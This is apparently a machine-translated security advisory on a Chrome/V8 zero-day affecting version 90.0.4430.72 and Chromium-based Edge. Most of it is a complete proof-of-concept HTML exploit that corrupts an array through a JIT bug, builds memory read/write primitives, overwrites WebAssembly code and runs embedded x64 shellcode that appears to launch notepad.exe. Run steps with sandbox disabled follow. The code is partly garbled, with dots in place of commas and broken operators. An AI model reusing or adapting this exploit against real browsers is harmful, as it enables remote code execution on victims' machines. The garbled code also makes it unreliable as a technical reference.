Vulnerability describes

Google Chrome is a free web browser developed by Google. As tested, the 0day vulnerability affected the latest official version of Chrome (90.0.4430.72) and the Official version of Microsoft Edge based on the Chromium kernel (89.0.774.77). An attacker can exploit this vulnerability to obtain remote code execution by constructing a customized Web page and inducing the victim to access it.

scope

Google Chrome < = 90.0.4430.72

Microsoft Edge based on Chromium kernel <= 89.0.774.77

Other v8-based browsers

poc

Links:Github.com/avboy1337/1…

The HTML file is as follows:

<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [0xFC.0x48.0x83.0xE4.0xF0.0xE8.0xC0.0x00.0x00.0x00.0x41.0x51.0x41.0x50.0x52.0x51.0x56.0x48.0x31.0xD2.0x65.0x48.0x8B.0x52.0x60.0x48.0x8B.0x52.0x18.0x48.0x8B.0x52.0x20.0x48.0x8B.0x72.0x50.0x48.0x0F.0xB7.0x4A.0x4A.0x4D.0x31.0xC9.0x48.0x31.0xC0.0xAC.0x3C.0x61.0x7C.0x02.0x2C.0x20.0x41.0xC1.0xC9.0x0D.0x41.0x01.0xC1.0xE2.0xED.0x52.0x41.0x51.0x48.0x8B.0x52.0x20.0x8B.0x42.0x3C.0x48.0x01.0xD0.0x8B.0x80.0x88.0x00.0x00.0x00.0x48.0x85.0xC0.0x74.0x67.0x48.0x01.0xD0.0x50.0x8B.0x48.0x18.0x44.0x8B.0x40.0x20.0x49.0x01.0xD0.0xE3.0x56.0x48.0xFF.0xC9.0x41.0x8B.0x34.0x88.0x48.0x01.0xD6.0x4D.0x31.0xC9.0x48.0x31.0xC0.0xAC.0x41.0xC1.0xC9.0x0D.0x41.0x01.0xC1.0x38.0xE0.0x75.0xF1.0x4C.0x03.0x4C.0x24.0x08.0x45.0x39.0xD1.0x75.0xD8.0x58.0x44.0x8B.0x40.0x24.0x49.0x01.0xD0.0x66.0x41.0x8B.0x0C.0x48.0x44.0x8B.0x40.0x1C.0x49.0x01.0xD0.0x41.0x8B.0x04.0x88.0x48.0x01.0xD0.0x41.0x58.0x41.0x58.0x5E.0x59.0x5A.0x41.0x58.0x41.0x59.0x41.0x5A.0x48.0x83.0xEC.0x20.0x41.0x52.0xFF.0xE0.0x58.0x41.0x59.0x5A.0x48.0x8B.0x12.0xE9.0x57.0xFF.0xFF.0xFF.0x5D.0x48.0xBA.0x01.0x00.0x00.0x00.0x00.0x00.0x00.0x00.0x48.0x8D.0x8D.0x01.0x01.0x00.0x00.0x41.0xBA.0x31.0x8B.0x6F.0x87.0xFF.0xD5.0xBB.0xF0.0xB5.0xA2.0x56.0x41.0xBA.0xA6.0x95.0xBD.0x9D.0xFF.0xD5.0x48.0x83.0xC4.0x28.0x3C.0x06.0x7C.0x0A.0x80.0xFB.0xE0.0x75.0x05.0xBB.0x47.0x13.0x72.0x6F.0x6A.0x00.0x59.0x41.0x89.0xDA.0xFF.0xD5.0x6E.0x6F.0x74.0x65.0x70.0x61.0x64.0x2E.0x65.0x78.0x65.0x00];
    var wasmCode = new Uint8Array([0.97.115.109.1.0.0.0.1.133.128.128.128.0.1.96.0.1.127.3.130.128.128.128.0.1.0.4.132.128.128.128.0.1.112.0.0.5.131.128.128.128.0.1.0.1.6.129.128.128.128.0.0.7.145.128.128.128.0.2.6.109.101.109.111.114.121.2.0.4.109.97.105.110.0.0.10.138.128.128.128.0.1.132.128.128.128.0.0.65.42.11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0.true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4.true))}function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0.true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0.true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0.true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f; }}function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;/ / 4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) = =0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8.true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>
Copy the code

steps

Run the following command in CMD and open the HTML file

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -no-sandbox
Copy the code

Note: This is the default installation path

Repetition demo

Please go to the official account to view the video

Repair advice

At present, Google has not fixed this vulnerability, which is still in the 0day state. Users are advised to be cautious about clicking suspicious urls and handling suspicious emails and attachments. Especially in the attack and defense drill close to actual combat scenario, attackers are likely to use this vulnerability to attack the defense system. Use Firefox when possible

Network rumors combined with other vulnerabilities can bypass browser sandbox restrictions, using methods have not been disclosed, but remind the majority of users still need to pay attention to prevention

Reference links:

Mp.weixin.qq.com/s/gVBsX62O3…

Mp.weixin.qq.com/s/G-ffg_TDR…

Baijiahao.baidu.com/s?id=169699…

Welcome to pay attention to the public number, the original is not easy, reprint please indicate the source [patriotic little white hat] 😘

“Like” to prove you still love me